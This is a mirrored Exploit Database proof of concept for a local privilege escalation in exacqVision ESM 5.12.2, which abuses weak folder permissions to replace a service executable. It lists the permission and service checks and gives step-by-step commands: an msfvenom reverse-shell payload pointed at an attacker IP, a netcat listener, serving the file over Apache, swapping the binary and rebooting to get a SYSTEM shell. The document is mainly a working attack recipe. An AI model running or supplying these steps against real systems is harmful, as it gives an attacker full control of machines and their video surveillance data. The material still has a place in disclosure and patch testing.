exacqVision ESM 5.12.2 – Privilege Escalation

• Exploit Database
• 17 阅读

• 作者： bzyo
  日期： 2019-02-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46370/

• # Exploit Title:exacqVision ESM 5.12.2 - Privilege Escalation
  # Exploit Author: bzyo
  # Twitter: @bzyo_
  # Date: 2019-02-13
  # Vulnerable Software: 
  # http://cdnpublic.exacq.com/5.12/exacqVisionEnterpriseSystemManager_5.12.2.150128_x86.exe
  # Vendor Homepage: https://www.exacq.com
  # Version: 5.12.2.150128
  # Tested Windows 7 SP1 x86 and Windows 10 x64
  
  # Description:
  # exacqVision ESM 5.12.2 suffers from Privilege Escalation due to insecure file permissions
  
  # Prerequisites
  # Local, Low privilege access with restart capabilities
  
  # Details
  # By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.
  # A low privilege account is able to rename the enterprisesystemmanager.exe file located in 
  # this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges 
  # (nt authority\system) due to the service running as Local System.While a low privilege user is unable to restart the service 
  # through the application, a restart of the computer triggers the execution of the malicious file.
  
  # note: during install, you cannot choose a folder containing spaces i.e. "program files"
  
  C:\>icacls exacqVisionEsm
  exacqVisionEsm NT AUTHORITY\NETWORK SERVICE:(RX)
   win7-32bit\bob:(RX)
   BUILTIN\Administrators:(I)(F)
   BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
   NT AUTHORITY\SYSTEM:(I)(F)
   NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
   BUILTIN\Users:(I)(OI)(CI)(RX)
   NT AUTHORITY\Authenticated Users:(I)(M)
   NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
  
  Successfully processed 1 files; Failed processing 0 files
  
  
  C:\>sc qc "exacqVision Enterprise System Manager Web Service"
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: exacqVision Enterprise System Manager Web Service
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe"
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : ESMWebService
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  
  # Proof of Concept
  1. Generate malicious .exe on attacking machine
  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.163 LPORT=443 -f exe > /var/www/html/enterprisesystemmanager.exe
  
  2. Setup listener and ensure apache is running on attacking machine
  nc -nlvvp 443
  service apache2 start
   
  3. Download malicious .exe on victim machine
  Open browser to http://192.168.0.163/enterprisesystemmanager.exe and download
  
  4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe
   enterprisesystemmanager.exe > enterprisesystemmanager.bak
   
  5. Copy/Move downloaded enterprisesystemmanager.exe file to C:\exacqVisionEsm\EnterpriseSystemManager\
  
  6. Restart victim machine and login as low privileged user 
  
  7. Reverse Shell on attacking machine opens
  	C:\Windows\system32>whoami
  	whoami
  	nt authority\system